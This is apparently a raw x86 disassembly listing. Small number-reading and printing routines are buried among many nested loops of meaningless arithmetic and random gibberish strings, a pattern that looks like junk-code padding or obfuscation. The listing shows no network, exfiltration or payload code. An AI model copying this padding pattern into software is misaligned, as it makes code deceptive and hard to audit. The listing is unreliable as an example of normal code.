cmp dword [ebp - 0x1604], 0x39f0
jge 0x4e5c2d
push dword [ebp - 0x2630]
call fcn.004f1488
pop ecx
push dword [ebp - 0x24bc]
push dword [ebp - 0x24c0]
lea ecx, [ebp - 0x35d0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x35d0]
call fcn.00401711
jmp 0x4e56b4
cmp dword [ebp - 0x160c], 0x7b26
jge 0x4e5c7c
push dword [ebp - 0x2350]
call fcn.004f1488
pop ecx
jmp 0x4e5524
cmp dword [ebp - 0x1614], 0x4b7c
jge 0x4e5c9d
mov edx, dword [ebp - 0x2638]
mov ecx, 0xac7538
call fcn.0041c2dd
mov eax, dword [ebp - 0xb00]
sub eax, dword [ebp - 0xb08]
and eax, dword [ebp - 0xb10]
and eax, dword [ebp - 0xb18]
cdq
mov dword [ebp - 0x278c], eax
mov dword [ebp - 0x2788], edx
mov dword [ebp - 0x166c], 0x5149
mov dword [ebp - 0x1624], 0x4a50
mov dword [ebp - 0x2380], str.tjaidisa_qhp_fkdqsr_ayyufvmmj
mov dword [ebp - 0x235c], 0x1fe5
cmp dword [ebp - 0x235c], 0xd84
jge 0x4e5ee6
lea eax, [ebp - 0x122c]
push eax
lea eax, [ebp - 0x161c]
push eax
push str._ld__ld_n
call fcn.004f117c
add esp, 0xc
and dword [ebp - 0x2640], 0
lea eax, [ebp - 0x2640]
push eax
mov eax, dword [ebp - 0x161c]
inc eax
push eax
lea ecx, [ebp - 0x1a84]
call fcn.00417d23
mov dword [ebp - 0x43c], 1
jmp 0x4e5d4f
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp - 0x43c]
cmp eax, dword [ebp - 0x161c]
jg 0x4e5d78
push dword [ebp - 0x43c]
lea ecx, [ebp - 0x1a84]
call fcn.00417bb8
mov ecx, dword [ebp - 0x43c]
mov dword [eax], ecx
jmp 0x4e5d42
mov dword [ebp - 0x1394], 1
and dword [ebp - 0x1390], 0
mov eax, dword [ebp - 0x122c]
mov dword [ebp - 0x2368], eax
mov eax, dword [ebp - 0x122c]
dec eax
mov dword [ebp - 0x122c], eax
cmp dword [ebp - 0x2368], 0
je 0x4e5ec2
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x180]
push eax
push str._ld__ld_n
call fcn.004f117c
add esp, 0xc
push dword [ebp - 0x180]
lea ecx, [ebp - 0x1a84]
call fcn.00417bb8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x180]
jne 0x4e5e00
push dword [ebp - 0x178]
lea ecx, [ebp - 0x1a84]
call fcn.00417bb8
mov ecx, dword [ebp - 0x178]
cmp ecx, dword [eax]
je 0x4e5e34
push dword [ebp - 0x180]
lea ecx, [ebp - 0x1a84]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
push dword [ebp - 0x178]
lea ecx, [ebp - 0x1a84]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
jmp 0x4e5dca
mov eax, dword [ebp - 0x180]
cmp eax, dword [ebp - 0x178]
je 0x4e5e63
push 0
push 2
push dword [ebp - 0x1390]
push dword [ebp - 0x1394]
call fcn.004f5310
mov dword [ebp - 0x1394], eax
mov dword [ebp - 0x1390], edx
mov eax, dword [ebp - 0x180]
cmp eax, dword [ebp - 0x178]
jge 0x4e5e7f
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x1234], eax
jmp 0x4e5e8b
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x1234], eax
push dword [ebp - 0x178]
lea ecx, [ebp - 0x1a84]
call fcn.00417bb8
mov ecx, dword [ebp - 0x1234]
mov dword [eax], ecx
push dword [ebp - 0x180]
lea ecx, [ebp - 0x1a84]
call fcn.00417bb8
mov ecx, dword [ebp - 0x1234]
mov dword [eax], ecx
jmp 0x4e5d89
push dword [ebp - 0x1390]
push dword [ebp - 0x1394]
push str._lld_n
call fcn.004f1488
add esp, 0xc
lea ecx, [ebp - 0x1a84]
call fcn.00417aef
cmp dword [ebp - 0x1624], 0x4d9a
jle 0x4e614f
and dword [ebp - 0xb30], 0
jmp 0x4e5f0c
mov eax, dword [ebp - 0xb30]
inc eax
mov dword [ebp - 0xb30], eax
cmp dword [ebp - 0xb30], 0x4478
jge 0x4e614f
and dword [ebp - 0xb20], 0
jmp 0x4e5f32
mov eax, dword [ebp - 0xb20]
inc eax
mov dword [ebp - 0xb20], eax
cmp dword [ebp - 0xb20], 0x3fdd
jge 0x4e614a
and dword [ebp - 0xb28], 0
jmp 0x4e5f58
mov eax, dword [ebp - 0xb28]
inc eax
mov dword [ebp - 0xb28], eax
cmp dword [ebp - 0xb28], 0x63b4
jge 0x4e6145
mov dword [ebp - 0x2648], 0x1d27
cmp dword [ebp - 0x2648], 0x578
jge 0x4e60ee
mov edx, 0x2df1948
mov ecx, 0xac75e0
call fcn.0041c6ac
mov edx, 0x2df196c
mov ecx, eax
call fcn.0041c6ac
mov edx, 0x2df3088
mov ecx, eax
call fcn.0041c6ac
push 1
mov ecx, 0x2df196c
call fcn.0040174b
movsx esi, byte [eax]
push 0
mov ecx, 0x2df1948
call fcn.0040174b
movsx eax, byte [eax]
cmp esi, eax
jne 0x4e5ffd
push 1
mov ecx, 0x2df3088
call fcn.0040174b
movsx esi, byte [eax]
push 0
mov ecx, 0x2df1948
call fcn.0040174b
movsx eax, byte [eax]
cmp esi, eax
je 0x4e5ffd
push 0xab5934
call fcn.004f1b87
pop ecx
jmp 0x4e60ee
push 1
mov ecx, 0x2df196c
call fcn.0040174b
movsx esi, byte [eax]
push 0
mov ecx, 0x2df1948
call fcn.0040174b
movsx eax, byte [eax]
cmp esi, eax
je 0x4e6051
push 1
mov ecx, 0x2df3088
call fcn.0040174b
movsx esi, byte [eax]
push 0
mov ecx, 0x2df1948
call fcn.0040174b
movsx eax, byte [eax]
cmp esi, eax
jne 0x4e6051
push 0xab5938
call fcn.004f1b87
pop ecx
jmp 0x4e60ee
push 1
mov ecx, 0x2df196c
call fcn.0040174b
movsx esi, byte [eax]
push 1
mov ecx, 0x2df3088
call fcn.0040174b
movsx eax, byte [eax]
cmp esi, eax
je 0x4e6080
push 0xab5938
call fcn.004f1b87
pop ecx
jmp 0x4e60ee
push 0
push 0
mov ecx, 0x2df196c
call fcn.0040174b
mov al, byte [eax]
movzx eax, al
push eax
mov ecx, 0x2df199c
call fcn.0041723a
mov dword [ebp - 0x2374], eax
push 0
push 0
mov ecx, 0x2df3088
call fcn.0040174b
mov al, byte [eax]
movzx eax, al
push eax
mov ecx, 0x2df199c
call fcn.0041723a
mov dword [ebp - 0x2650], eax
mov eax, dword [ebp - 0x2374]
cmp eax, dword [ebp - 0x2650]
jle 0x4e60e3
push 0xab5934
call fcn.004f1b87
pop ecx
jmp 0x4e60ee
push 0xab5938
call fcn.004f1b87
pop ecx
mov eax, dword [ebp - 0xb20]
imul eax, dword [ebp - 0xb28]
add eax, dword [ebp - 0xb30]
cdq
mov dword [ebp - 0x24cc], eax
mov dword [ebp - 0x24c8], edx
push dword [ebp - 0x24c8]
push dword [ebp - 0x24cc]
lea ecx, [ebp - 0x3600]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3600]
call fcn.00401711
jmp 0x4e5f4b
jmp 0x4e5f25
jmp 0x4e5eff
mov dword [ebp - 0x23ec], str.rxgvuexp_htcafbkp_mgc_tvowyocx_lhqldv_tfqm_acw_wygmqd
cmp dword [ebp - 0x1624], 0x48f9
jge 0x4e6171
push dword [ebp - 0x2380]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x166c], 0x53fd
jle 0x4e6401
call dword [sym.imp.USER32.dll_DestroyCaret]
and dword [ebp - 0xb58], 0
jmp 0x4e619d
mov eax, dword [ebp - 0xb58]
inc eax
mov dword [ebp - 0xb58], eax
cmp dword [ebp - 0xb58], 0x5fa4
jge 0x4e6401
and dword [ebp - 0xb50], 0
jmp 0x4e61c3
mov eax, dword [ebp - 0xb50]
inc eax
mov dword [ebp - 0xb50], eax
cmp dword [ebp - 0xb50], 0x2b87
jge 0x4e63fc
and dword [ebp - 0xb40], 0
jmp 0x4e61e9
mov eax, dword [ebp - 0xb40]
inc eax
mov dword [ebp - 0xb40], eax
cmp dword [ebp - 0xb40], 0x1c08
jge 0x4e63f7
mov dword [ebp - 0x2658], 0x195a
cmp dword [ebp - 0x2658], 0xceb
jge 0x4e6393
mov dword [ebp - 0x2e00], 0x57
lea eax, [ebp - 0x1634]
push eax
lea eax, [ebp - 0x163c]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
and dword [ebp - 0x238c], 0
lea eax, [ebp - 0x238c]
push eax
push 0x57
lea ecx, [ebp - 0x2c08]
call fcn.00417d23
and dword [ebp - 0x123c], 0
jmp 0x4e6269
mov eax, dword [ebp - 0x123c]
inc eax
mov dword [ebp - 0x123c], eax
mov eax, dword [ebp - 0x123c]
cmp eax, dword [ebp - 0x1634]
jge 0x4e62b4
lea eax, [ebp - 0x2660]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x2660]
lea ecx, [ebp - 0x2c08]
call fcn.00417bb8
mov dword [ebp - 0x162c], eax
mov eax, dword [ebp - 0x162c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x162c]
mov dword [ecx], eax
jmp 0x4e625c
and dword [ebp - 0x124c], 0
mov dword [ebp - 0x444], 1
jmp 0x4e62d4
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x1634]
cdq
idiv dword [ebp - 0x163c]
cmp dword [ebp - 0x444], eax
jg 0x4e6376
mov eax, dword [ebp - 0x163c]
mov dword [ebp - 0x1244], eax
and dword [ebp - 0xb38], 0
jmp 0x4e630f
mov eax, dword [ebp - 0xb38]
inc eax
mov dword [ebp - 0xb38], eax
cmp dword [ebp - 0xb38], 0x57
jge 0x4e6342
push dword [ebp - 0xb38]
lea ecx, [ebp - 0x2c08]
call fcn.00417bb8
mov eax, dword [eax]
cdq
idiv dword [ebp - 0x444]
mov ecx, dword [ebp - 0x1244]
sub ecx, eax
mov dword [ebp - 0x1244], ecx
jmp 0x4e6302
cmp dword [ebp - 0x1244], 0
jle 0x4e6359
mov eax, dword [ebp - 0x124c]
mov dword [ebp - 0x1644], eax
jmp 0x4e6365
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x1644], eax
mov eax, dword [ebp - 0x1644]
mov dword [ebp - 0x124c], eax
jmp 0x4e62c7
push dword [ebp - 0x124c]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x2c08]
call fcn.00417aef
and dword [ebp - 0xb48], 0
jmp 0x4e63a9
mov eax, dword [ebp - 0xb48]
inc eax
mov dword [ebp - 0xb48], eax
cmp dword [ebp - 0xb48], 0x1575
jge 0x4e63f2
mov eax, dword [ebp - 0xb40]
add eax, dword [ebp - 0xb48]
and eax, dword [ebp - 0xb50]
xor eax, dword [ebp - 0xb58]
cdq
mov dword [ebp - 0x24d8], eax
mov dword [ebp - 0x24d4], edx
push dword [ebp - 0x24d4]
push dword [ebp - 0x24d8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e639c
jmp 0x4e61dc
jmp 0x4e61b6
jmp 0x4e6190
cmp dword [ebp - 0x164c], 0xef
jge 0x4e697d
mov dword [ebp - 0x1664], 0x37c5
mov dword [ebp - 0x1654], 0x5af1
mov dword [ebp - 0x2398], str.jxosi_rxxjjkfj_vbnnus_isvet_qxr_rbq_styn_efcrbsgxg_rldjgna_roxbnwprm_utpuywf_uotaqtj
cmp dword [ebp - 0x1654], 0x5e52
jle 0x4e64d7
and dword [ebp - 0xb60], 0
jmp 0x4e6455
mov eax, dword [ebp - 0xb60]
inc eax
mov dword [ebp - 0xb60], eax
cmp dword [ebp - 0xb60], 0x7301
jge 0x4e64d7
and dword [ebp - 0xb68], 0
jmp 0x4e6477
mov eax, dword [ebp - 0xb68]
inc eax
mov dword [ebp - 0xb68], eax
cmp dword [ebp - 0xb68], 0x607a
jge 0x4e64d2
mov eax, dword [ebp - 0xb60]
mov ecx, dword [ebp - 0xb68]
sar eax, cl
cdq
mov dword [ebp - 0x24e4], eax
mov dword [ebp - 0x24e0], edx
push dword [ebp - 0x24e0]
push dword [ebp - 0x24e4]
lea ecx, [ebp - 0x3630]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3630]
call fcn.00401711
jmp 0x4e646a
jmp 0x4e6448
mov dword [ebp - 0x2688], str.itry_srie_makfmn_otyfuf_nptjbfg_qhk
cmp dword [ebp - 0x1654], 0x5a1b
jge 0x4e64f9
push dword [ebp - 0x2398]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1664], 0x3ad7
jle 0x4e6955
mov dword [ebp - 0x165c], 0x127f
mov dword [ebp - 0x2680], str.lmv_mgksyrek_svpwhmhi_dbkdsmsm_qmuxnwv
cmp dword [ebp - 0x165c], 0x1590
jle 0x4e660c
and dword [ebp - 0xb70], 0
jmp 0x4e6543
mov eax, dword [ebp - 0xb70]
inc eax
mov dword [ebp - 0xb70], eax
cmp dword [ebp - 0xb70], 0x3940
jge 0x4e660c
and dword [ebp - 0xb78], 0
jmp 0x4e6569
mov eax, dword [ebp - 0xb78]
inc eax
mov dword [ebp - 0xb78], eax
cmp dword [ebp - 0xb78], 0x4a72
jge 0x4e6607
and dword [ebp - 0xb80], 0
jmp 0x4e658f
mov eax, dword [ebp - 0xb80]
inc eax
mov dword [ebp - 0xb80], eax
cmp dword [ebp - 0xb80], 0x607c
jge 0x4e6602
and dword [ebp - 0xb88], 0
jmp 0x4e65b1
mov eax, dword [ebp - 0xb88]
inc eax
mov dword [ebp - 0xb88], eax
cmp dword [ebp - 0xb88], 0x372b
jge 0x4e6600
mov eax, dword [ebp - 0xb70]
cdq
idiv dword [ebp - 0xb78]
imul edx, dword [ebp - 0xb80]
mov ecx, dword [ebp - 0xb88]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x24f0], eax
mov dword [ebp - 0x24ec], edx
push dword [ebp - 0x24ec]
push dword [ebp - 0x24f0]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e65a4
jmp 0x4e6582
jmp 0x4e655c
jmp 0x4e6536
and dword [ebp - 0xba8], 0
jmp 0x4e6622
mov eax, dword [ebp - 0xba8]
inc eax
mov dword [ebp - 0xba8], eax
cmp dword [ebp - 0xba8], 0x5fb0
jge 0x4e6939
and dword [ebp - 0xbb0], 0
jmp 0x4e6648
mov eax, dword [ebp - 0xbb0]
inc eax
mov dword [ebp - 0xbb0], eax
cmp dword [ebp - 0xbb0], 0x7545
jge 0x4e6934
and dword [ebp - 0xbb8], 0
jmp 0x4e666e
mov eax, dword [ebp - 0xbb8]
inc eax
mov dword [ebp - 0xbb8], eax
cmp dword [ebp - 0xbb8], 0x41f9
jge 0x4e692f
and dword [ebp - 0xbc0], 0
jmp 0x4e6694
mov eax, dword [ebp - 0xbc0]
inc eax
mov dword [ebp - 0xbc0], eax
cmp dword [ebp - 0xbc0], 0x37b5
jge 0x4e692a
mov dword [ebp - 0x2668], 0x2390
cmp dword [ebp - 0x2668], 0xc36
jge 0x4e68e3
lea eax, [ebp - 0x2d0]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x23a4], 0
lea eax, [ebp - 0x23a4]
push eax
mov eax, dword [ebp - 0x2d0]
inc eax
push eax
lea ecx, [ebp - 0x2c14]
call fcn.00417d23
and dword [ebp - 0x2670], 0
lea eax, [ebp - 0x2670]
push eax
mov eax, dword [ebp - 0x2d0]
inc eax
push eax
lea ecx, [ebp - 0x2c20]
call fcn.00417d23
mov dword [ebp - 0xb90], 1
jmp 0x4e672c
mov eax, dword [ebp - 0xb90]
inc eax
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0xb90]
cmp eax, dword [ebp - 0x2d0]
jg 0x4e675a
push dword [ebp - 0xb90]
lea ecx, [ebp - 0x2c14]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4e671f
mov dword [ebp - 0xb98], 1
jmp 0x4e6773
mov eax, dword [ebp - 0xb98]
inc eax
mov dword [ebp - 0xb98], eax
mov eax, dword [ebp - 0xb98]
cmp eax, dword [ebp - 0x2d0]
jg 0x4e67a1
push dword [ebp - 0xb98]
lea ecx, [ebp - 0x2c20]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4e6766
mov byte [ebp - 0x1a5], 1
lea eax, [ebp - 0x1a5]
push eax
mov eax, dword [ebp - 0x2d0]
inc eax
push eax
lea ecx, [ebp - 0x2e84]
call fcn.00417c27
mov dword [ebp - 0x1254], 1
mov dword [ebp - 0xba0], 1
jmp 0x4e67e5
mov eax, dword [ebp - 0xba0]
inc eax
mov dword [ebp - 0xba0], eax
mov eax, dword [ebp - 0xba0]
cmp eax, dword [ebp - 0x2d0]
jg 0x4e68b7
and dword [ebp - 0x125c], 0
push dword [ebp - 0xba0]
lea ecx, [ebp - 0x2c20]
call fcn.00417bb8
push dword [eax]
lea eax, [ebp - 0x3074]
push eax
lea ecx, [ebp - 0x2e84]
call fcn.00417c57
mov ecx, eax
call fcn.00417c9b
movzx eax, al
test eax, eax
je 0x4e68a0
mov eax, dword [ebp - 0x1254]
mov dword [ebp - 0x23b0], eax
push dword [ebp - 0x23b0]
lea ecx, [ebp - 0x2c14]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x2678], eax
push dword [ebp - 0x2678]
lea eax, [ebp - 0x309c]
push eax
lea ecx, [ebp - 0x2e84]
call fcn.00417c57
mov dword [ebp - 0x23bc], eax
mov eax, dword [ebp - 0x1254]
inc eax
mov dword [ebp - 0x1254], eax
push 0
mov ecx, dword [ebp - 0x23bc]
call fcn.00417c76
mov eax, dword [ebp - 0x125c]
inc eax
mov dword [ebp - 0x125c], eax
jmp 0x4e67fe
push dword [ebp - 0x125c]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e67d8
push 0xab559b
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x2e84]
call fcn.00417c4a
lea ecx, [ebp - 0x2c20]
call fcn.00417aef
lea ecx, [ebp - 0x2c14]
call fcn.00417aef
mov esi, dword [ebp - 0xba8]
mov ecx, dword [ebp - 0xbb0]
shl esi, cl
mov eax, dword [ebp - 0xbb8]
cdq
idiv dword [ebp - 0xbc0]
xor esi, edx
mov eax, esi
cdq
mov dword [ebp - 0x24fc], eax
mov dword [ebp - 0x24f8], edx
push dword [ebp - 0x24f8]
push dword [ebp - 0x24fc]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e6687
jmp 0x4e6661
jmp 0x4e663b
jmp 0x4e6615
cmp dword [ebp - 0x165c], 0xfa7
jge 0x4e6955
mov edx, dword [ebp - 0x2680]
mov ecx, 0xac7538
call fcn.0041c2dd
push dword [ebp - 0x23c8]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1664], 0x35a6
jge 0x4e697d
mov edx, dword [ebp - 0x2688]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x16b4], 0x683
mov dword [ebp - 0x23f8], str.hhut_phyevluji_jirvxmt_mlqxobvy_ixrrxm_gqtol_xfqnu_niuijeg
cmp dword [ebp - 0x16b4], 0x9e0
jle 0x4e6a49
and dword [ebp - 0xbc8], 0
jmp 0x4e69b7
mov eax, dword [ebp - 0xbc8]
inc eax
mov dword [ebp - 0xbc8], eax
cmp dword [ebp - 0xbc8], 0x8f3
jge 0x4e6a49
and dword [ebp - 0xbd0], 0
jmp 0x4e69dd
mov eax, dword [ebp - 0xbd0]
inc eax
mov dword [ebp - 0xbd0], eax
cmp dword [ebp - 0xbd0], 0x7a
jge 0x4e6a44
and dword [ebp - 0xbd8], 0
jmp 0x4e69fc
mov eax, dword [ebp - 0xbd8]
inc eax
mov dword [ebp - 0xbd8], eax
cmp dword [ebp - 0xbd8], 0x1d8d
jge 0x4e6a42
mov eax, dword [ebp - 0xbc8]
cdq
idiv dword [ebp - 0xbd0]
xor edx, dword [ebp - 0xbd8]
mov eax, edx
cdq
mov dword [ebp - 0x2508], eax
mov dword [ebp - 0x2504], edx
push dword [ebp - 0x2504]
push dword [ebp - 0x2508]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e69ef
jmp 0x4e69d0
jmp 0x4e69aa
cmp dword [ebp - 0x166c], 0x4e6f
jge 0x4e7045
mov dword [ebp - 0x16ac], 0x881
mov dword [ebp - 0x26a0], str.monjqd_gcmcuq_gjhnaq_vybjpidkj_comjlx_htcws_chmiood_tts_jygtnuwlq_hbh_itdj_eticyc
cmp dword [ebp - 0x16ac], 0x959
jle 0x4e7019
and dword [ebp - 0xc28], 0
jmp 0x4e6a93
mov eax, dword [ebp - 0xc28]
inc eax
mov dword [ebp - 0xc28], eax
cmp dword [ebp - 0xc28], 0x6053
jge 0x4e7019
and dword [ebp - 0xc20], 0
jmp 0x4e6ab9
mov eax, dword [ebp - 0xc20]
inc eax
mov dword [ebp - 0xc20], eax
cmp dword [ebp - 0xc20], 0x103
jge 0x4e7014
and dword [ebp - 0xc10], 0
jmp 0x4e6adf
mov eax, dword [ebp - 0xc10]
inc eax
mov dword [ebp - 0xc10], eax
cmp dword [ebp - 0xc10], 0x2d2c
jge 0x4e700f
mov dword [ebp - 0x23d4], 0x23a1
cmp dword [ebp - 0x23d4], 0x1316
jge 0x4e6c57
lea eax, [ebp - 0x1264]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x1264]
lea ecx, [ebp - 0x2b70]
call fcn.004179d7
and dword [ebp - 0xbe0], 0
jmp 0x4e6b43
mov eax, dword [ebp - 0xbe0]
inc eax
mov dword [ebp - 0xbe0], eax
mov eax, dword [ebp - 0xbe0]
cmp eax, dword [ebp - 0x1264]
jge 0x4e6b71
push dword [ebp - 0xbe0]
lea ecx, [ebp - 0x2b70]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4e6b36
mov dword [ebp - 0xbe8], 1
mov dword [ebp - 0xbf0], 1
mov dword [ebp - 0x44c], 1
jmp 0x4e6b9e
mov eax, dword [ebp - 0x44c]
inc eax
mov dword [ebp - 0x44c], eax
mov eax, dword [ebp - 0x44c]
cmp eax, dword [ebp - 0x1264]
jge 0x4e6c3a
mov eax, dword [ebp - 0x44c]
dec eax
push eax
lea ecx, [ebp - 0x2b70]
call fcn.00417bb8
mov esi, dword [eax]
shl esi, 1
push dword [ebp - 0x44c]
lea ecx, [ebp - 0x2b70]
call fcn.00417bb8
cmp esi, dword [eax]
jl 0x4e6beb
mov eax, dword [ebp - 0xbe8]
inc eax
mov dword [ebp - 0x1674], eax
jmp 0x4e6bf5
mov dword [ebp - 0x1674], 1
mov eax, dword [ebp - 0x1674]
mov dword [ebp - 0xbe8], eax
mov eax, dword [ebp - 0xbf0]
cmp eax, dword [ebp - 0xbe8]
jle 0x4e6c1d
mov eax, dword [ebp - 0xbf0]
mov dword [ebp - 0x167c], eax
jmp 0x4e6c29
mov eax, dword [ebp - 0xbe8]
mov dword [ebp - 0x167c], eax
mov eax, dword [ebp - 0x167c]
mov dword [ebp - 0xbf0], eax
jmp 0x4e6b91
push dword [ebp - 0xbf0]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x2b70]
call fcn.00417aef
and dword [ebp - 0xc18], 0
jmp 0x4e6c6d
mov eax, dword [ebp - 0xc18]
inc eax
mov dword [ebp - 0xc18], eax
cmp dword [ebp - 0xc18], 0x24b5
jge 0x4e700a
mov dword [ebp - 0x2690], 0x25d0
cmp dword [ebp - 0x2690], 0x467
jge 0x4e6fc8
lea eax, [ebp - 0xc00]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0xc00]
lea ecx, [ebp - 0x1124]
call fcn.004179d7
and dword [ebp - 0xbf8], 0
jmp 0x4e6cd1
mov eax, dword [ebp - 0xbf8]
inc eax
mov dword [ebp - 0xbf8], eax
mov eax, dword [ebp - 0xbf8]
cmp eax, dword [ebp - 0xc00]
jge 0x4e6cff
push dword [ebp - 0xbf8]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4e6cc4
or dword [ebp - 0x169c], 0xffffffff
or dword [ebp - 0x16a4], 0xffffffff
lea ecx, [ebp - 0x4d4]
call fcn.00417eaa
and dword [ebp - 0x54], 0
jmp 0x4e6d25
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0xc00]
jge 0x4e6eb0
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
push eax
lea ecx, [ebp - 0x4d4]
call fcn.00417f10
test eax, eax
jne 0x4e6d72
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
push eax
lea ecx, [ebp - 0x4d4]
call fcn.00417ebf
mov dword [eax], 1
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
mov eax, dword [eax]
dec eax
mov dword [ebp - 0x23e0], eax
lea eax, [ebp - 0x23e0]
push eax
lea ecx, [ebp - 0x4d4]
call fcn.00417f10
test eax, eax
je 0x4e6dd2
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
mov eax, dword [eax]
dec eax
mov dword [ebp - 0x2698], eax
lea eax, [ebp - 0x2698]
push eax
lea ecx, [ebp - 0x4d4]
call fcn.00417ebf
mov eax, dword [eax]
mov dword [ebp - 0x1684], eax
jmp 0x4e6dd9
and dword [ebp - 0x1684], 0
mov eax, dword [ebp - 0x1684]
inc eax
mov dword [ebp - 0x168c], eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
push eax
lea ecx, [ebp - 0x4d4]
call fcn.00417ebf
mov eax, dword [eax]
cmp eax, dword [ebp - 0x168c]
jle 0x4e6e2e
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
push eax
lea ecx, [ebp - 0x4d4]
call fcn.00417ebf
mov eax, dword [eax]
mov dword [ebp - 0x1694], eax
jmp 0x4e6e3a
mov eax, dword [ebp - 0x168c]
mov dword [ebp - 0x1694], eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
push eax
lea ecx, [ebp - 0x4d4]
call fcn.00417ebf
mov ecx, dword [ebp - 0x1694]
mov dword [eax], ecx
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
push eax
lea ecx, [ebp - 0x4d4]
call fcn.00417ebf
mov eax, dword [eax]
cmp eax, dword [ebp - 0x169c]
jle 0x4e6eab
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
push eax
lea ecx, [ebp - 0x4d4]
call fcn.00417ebf
mov eax, dword [eax]
mov dword [ebp - 0x169c], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x16a4], eax
jmp 0x4e6d1e
lea ecx, [ebp - 0x2a14]
call fcn.004179ca
push dword [ebp - 0x16a4]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x126c], eax
mov eax, dword [ebp - 0xc00]
dec eax
mov dword [ebp - 0x454], eax
jmp 0x4e6ef0
mov eax, dword [ebp - 0x454]
dec eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 0
jl 0x4e6f37
push dword [ebp - 0x454]
lea ecx, [ebp - 0x1124]
call fcn.00417bb8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x126c]
je 0x4e6f16
jmp 0x4e6ee3
lea eax, [ebp - 0x454]
push eax
lea ecx, [ebp - 0x2a14]
call fcn.00417d45
mov eax, dword [ebp - 0x126c]
dec eax
mov dword [ebp - 0x126c], eax
jmp 0x4e6ee3
lea ecx, [ebp - 0x2a14]
call fcn.00417baf
push eax
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x2a14]
call fcn.00417baf
dec eax
mov dword [ebp - 0xc08], eax
jmp 0x4e6f70
mov eax, dword [ebp - 0xc08]
dec eax
mov dword [ebp - 0xc08], eax
cmp dword [ebp - 0xc08], 0
jl 0x4e6f9c
push dword [ebp - 0xc08]
lea ecx, [ebp - 0x2a14]
call fcn.00417bb8
mov eax, dword [eax]
inc eax
push eax
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e6f63
push 0xab559b
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x2a14]
call fcn.00417aef
lea ecx, [ebp - 0x4d4]
call fcn.0040b460
lea ecx, [ebp - 0x1124]
call fcn.00417aef
mov ecx, dword [ebp - 0xc10]
sub ecx, dword [ebp - 0xc18]
mov eax, dword [ebp - 0xc20]
shl eax, cl
and eax, dword [ebp - 0xc28]
cdq
mov dword [ebp - 0x2514], eax
mov dword [ebp - 0x2510], edx
push dword [ebp - 0x2510]
push dword [ebp - 0x2514]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e6c60
jmp 0x4e6ad2
jmp 0x4e6aac
jmp 0x4e6a86
mov edx, dword [ebp - 0x23ec]
